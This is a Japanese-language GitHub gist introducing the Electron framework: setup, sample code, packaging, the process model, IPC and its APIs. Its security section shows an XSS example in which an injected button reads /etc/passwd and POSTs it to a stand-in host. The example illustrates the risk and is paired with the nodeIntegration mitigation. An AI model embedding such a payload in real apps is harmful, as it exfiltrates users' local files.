Skip to content

Instantly share code, notes, and snippets.

@umamichi
Last active October 13, 2023 17:22
Show Gist options
  • Save umamichi/ff5b812caf1466c2c2e5768b7837a1e7 to your computer and use it in GitHub Desktop.
Save umamichi/ff5b812caf1466c2c2e5768b7837a1e7 to your computer and use it in GitHub Desktop.
Electron 入門

最新版はこちら(Qiita)

http://qiita.com/umamichi/items/6ce4f46c1458e89c4cfc

Electron 入門

Electronって?

・クロスプラットフォーム型の実行フレームワーク
👉 Mac、Windows、Linux上で動く

・Webの技術(HTML5やJavaScript)で作ったものをデスクトップアプリケーション化できる

・オープンソース、商用利用可能

・開発元はGitHub社
(もともとはAtomエディタのために作られた)

実用例

・Slack
・Atom
・Kobito
・Docker GUI
・Visual Studio Code (Microsoft)

使い方

$ npm i electron -g
$ electron

とすると、Electronの初期画面が表示される↓

このウィンドウに以下のようなjsファイルをドラッグすることで簡単にElectronが起動する

▼ main.js

const electron = require('electron');
const app = electron.app;
const BrowserWindow = electron.BrowserWindow;

let mainWindow = null;
app.on('ready', () => {
  // mainWindowを作成(windowの大きさや、Kioskモードにするかどうかなどもここで定義できる)
  mainWindow = new BrowserWindow({width: 400, height: 300});
  // Electronに表示するhtmlを絶対パスで指定(相対パスだと動かない)
  mainWindow.loadURL('file://' + __dirname + '/index.html');

  // ChromiumのDevツールを開く
  mainWindow.webContents.openDevTools();

  mainWindow.on('closed', function() {
    mainWindow = null;
  });
});

▼ index.html

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>Hello World!</title>
  </head>
  <body>
    Hello World!
  </body>
</html>

▼ 起動した画面

もちろん基本的にはドラッグせずに、以下のようにElectronを起動する

$ electron main.js

###️ パッケージングする

.exe化、.app化するためには、パッケージング処理が必要になります。
パッケージングするには「electron-packager」を使うと簡単にできます

$ npm i electron-packager

パッケージングするには、以下のコマンドを実行します

$ electron-packager {ソースディレクトリ} {アプリ名} --platform={プラットフォーム} --arch={アーキテクチャ} --version (バージョン} [その他のオプション ...]
コマンド 説明
platform all, linux, win32, darwin のいずれかを選択。「--all」は全部入りのパッケージング。
「darwin」はmacのこと。複数選択はカンマ区切りで指定可能。
arch all, ia32, x64 のいずれかを選択(32bit or 64bit)
version Electronのバージョンを指定。(electron -vで確認)

例)mac用にビルドするのであれば

$ electron-packager . electron-sample --platform=darwin --arch=x64 --version=1.2.5

※ MacでWindows用のElectronはパッケージングできないようになっています。
したい場合はwineをインストールする必要があります。

参考)「Mac環境でElectronのWindows用パッケージングをしたら大変だった話」
http://qiita.com/kimura_m_29/items/ee929cbd08daf744bffc  

パッケージング後のファイル構成

Macの場合

Windowsの場合

Electronの仕組み

Electronは大きく分けて、以下の3つで構成されている

1. Chromium ・・・ ブラウザ

2. レンダラープロセス ・・・ ブラウザを制御するプロセス

3. メインプロセス・・・ウィンドウ全体を制御するプロセス


1. Chromiumとは?

Google Chromeのベースになったオープンソースウェブブラウザで、見た目はChromeとほぼ同じ。

ちなみに
Google Chromeは、Chromiumに以下の機能が加わったもの

・Flash Playerの同梱  
・Chrome PDF Viewerの統合  
・Googleの名称とそのブランドロゴ  
・自動アップデート機能   
・Googleへの利用状況やクラッシュレポート送信機能  
・Googleの翻訳機能  
・複数メディアファイル対応(H.264、AAC、MP3など)

Electon内部で html, javascript, css はこのChromiumによってレンダリングされる

2. レンダラープロセスとは?

Chromiumを制御するプロセス

3. メインプロセスとは?

ウィンドウを生成し、アプリ本体の制御(起動、終了、ウィンドウリサイズ、移動など)を行うプロセス

Node.jsのすべての機能が使えます ←これがすごく便利!

つまり、Node.jsがインストールされていないPCでパッケージングしたElectronアプリを実行したとしても、
Node.jsのすべての機能が使えます

2つのプロセスを通信するにはどうするのか?

レンダラープロセスと、メインプロセスはそれぞれ独立したプロセスですが、
2つのプロセス間で通信を行うために 「IPC通信」 というのが用意されています

IPC通信(プロセス間通信)

IPC通信の実態はEventEmitterになっています。
どちらかのプロセスでイベントが発火すると、もう一方のプロセスであらかじめバインディングされた処理が実行されます

// メインプロセス(受信側)
const {ipcMain} = require('electron') // ipc通信を読み込む
ipcMain.on('message', (event, arg) => { // イベントバインディング
  console.log(arg)  // prints "ping"
})

// レンダラプロセス(送信側)
const {ipcRenderer} = require('electron') // ipc通信を読み込む
ipcRenderer.sendSync('message', 'ping'); // 'message'というイベントを実行

Electronの良いところ・すごいところ✨

  • クロスプラットフォームを実現している
    1ソースで Mac, Windows, Linuxのアプリ開発ができる

  • 豊富なJavaScript資源を利用できる
    ( = Node.jsのすべての機能が使える )

  • ブラウザ依存を気にしなくて良い

  • APIが豊富である

APIはメインプロセス、レンダラプロセスにそれぞれたくさん用意されています

メインプロセスのAPI

  • app
    → アプリケーションの起動や終了などのライフサイクル管理用API
    起動時に〜をする、終了時に〜をする、など

  • autoUpdater
    → 自動更新検知、ダウンロード、アップデート機能。
    リリース用サーバーを立てることで自動アップデートが可能になる

    まだ試せてはいないですが、主に3種類のアップデート用ツールがあようです

    • nuts: GitHubをバックエンドとして自動デプロイが可能 (Mac & Windows)
    • electron-release-server: 完全な機能を備える、自己ホスト型のリリースサーバ
    • squirrel-updates-server: squirrelを用いたシンプルなNode.jsサーバ

    GitHubとの連携も可能

  • powerMonitor
    → バッテリが切れてサスペンド(スリープ)になった、システムを再開した、ACアダプターに切り変わったなどの検知が可能

  • Menu/MenuItem
    → Electronにメニューをつけることができる

レンダラープロセスのAPI

  • desktopCaptuer
    → 起動している別アプリのデスクトップキャプチャービデオを取得できる

  • Webframe
    → inputやtextfieldに入力した文字に対してスペルチェックができる、アプリ全体のzoom機能

両方で使えるAPI

  • clipboard
    → クリップボードの中を取得、書き込みができる

  • shell
    → デフォルトブラウザの起動、任意のフォルダーを開く、拡張子に紐付いた機能の実行、ファイルの削除等のデスクトップで普通に使える機能が使える

まだまだ他にたくさんAPIはあります
もっと詳しくはこちら → http://electron.atom.io/docs/api/

Electronの悪いところ😇

  • インタプリタ言語のため、ネイティブアプリに比べて速度が劣る
    → 大規模なアプリには向かない

  • セキュリティ保護機能はない、XSS が発生しやすい

XSS(クロスサイトスクリプティング)とは?

他人のWebサイトへ、悪意のあるスクリプトを埋め込むこと

ElectronにおけるXSS

Node.jsのすべての機能やShellが使えるので、

  • ローカルファイルの読み書きや他アプリへの干渉
  • 任意プロセスの生成
  • ローカル環境の把握

などが実行できてしまう

通常のWebブラウザであればブラウザを超えての処理はできないが、Electronではアプリを使っているユーザーの権限での任意の実行ができてしまう。

→ 例えば、ファイルを読み込んでinnerHTMLを使う場合

▼ index.html

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>Hello World!</title>
    <script>
    const fs = require('fs');
    // sample.html をfs(OSが持っているファイル操作機能)で読み込む
    fs.readFile ('sample.html', (err, data) => {
      if (!err) {
        document.getElementById('app').innerHTML = data; // XSS!!
      }
    });
    </script>
  </head>
  <body>
    <div id="app">app div</a>
  </body>
</html>

▼ sample.html

hello! This is sample.html<br>
<!-- 悪意あるスクリプト -->
<button onClick="var s = require('fs').readFileSync( '/etc/passwd','utf-8' );
var x = new XMLHttpRequest();console.log(s);
x.open('POST', 'http://example.jp/', true );
x.send( s );">push me</button>

▼ 結果

このようにローカルファイルを取得してどこかに送信することも可能になる
fsを使えばPC内のファイルをすべて削除することも可能

緩和策

レンダラープロセスでnode.jsのAPIを使えなくすることができる
node-integrationというプロパティを無効にする

  mainWindow = new BrowserWindow({width: 800, height: 600,
    webPreferences: { nodeIntegration : false } 
  });

ただし、node-integrationを再び有効にする方法やXSSパターンは他にもあるので、

Electronにおけるセキュリティ問題は課題になっている。

まずは、innerHTMLなど外部スクリプトが実行される状態になるべくしないことが大事。

他のXSSパターンなど詳しくはこちら
→ 「Electronの倒し方」 http://utf-8.jp/public/2016/0307/electron.pdf

Electronでハマるポイント

パッケージングに含まれるライブラリ

electron-packagerを使ってパッケージングしたときの話ですが、
package.jsonのdevDependencies内のライブラリは、
Electronのパッケージング時には含まれません。
dependencies内のライブラリのみ、パッケージングされます。

パッケージング後に使用するライブラリは

$ npm i hoge --save

としておく必要がある。

起動に必要なファイル

WindowsとMac(Linux)でパッケージング後のファイル構成が全く異なり,
アプリの起動には本アプリ(.app, .exe)の他に生成されるファイルすべてが必要です

WindowsでElectronを開発するとき

Windows8.1でElectronをインストールするとき、以下が必要になります

Microsoft Visual Studio Express 2013

調べてみたところ、Electronをインストールする際に、「nslog」というライブラリをインストールしているようなのですが、
この「nslog」をインストールするときに、Visual Studioが必要になります。

※ Electron v1.0.2 で発生を確認

MacでWindows用にパッケージングする

基本的にはできないようになっています。
ただし、wineをインストールすれば可能です。
wineのインストールには30分ほどかかります。

$ brew install Caskroom/cask/xquartz
$ brew install wine

参考)「Mac環境でElectronのWindows用パッケージングをしたら大変だった話」
http://qiita.com/kimura_m_29/items/ee929cbd08daf744bffc  

他の類似フレームワーク

NW.js https://nwjs.io/

参考

Electronの倒し方 http://utf-8.jp/public/2016/0307/electron.pdf
マルチプラットフォームで動く「Electron」は本当に使える技術なのか? https://codeiq.jp/magazine/2016/03/38961/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment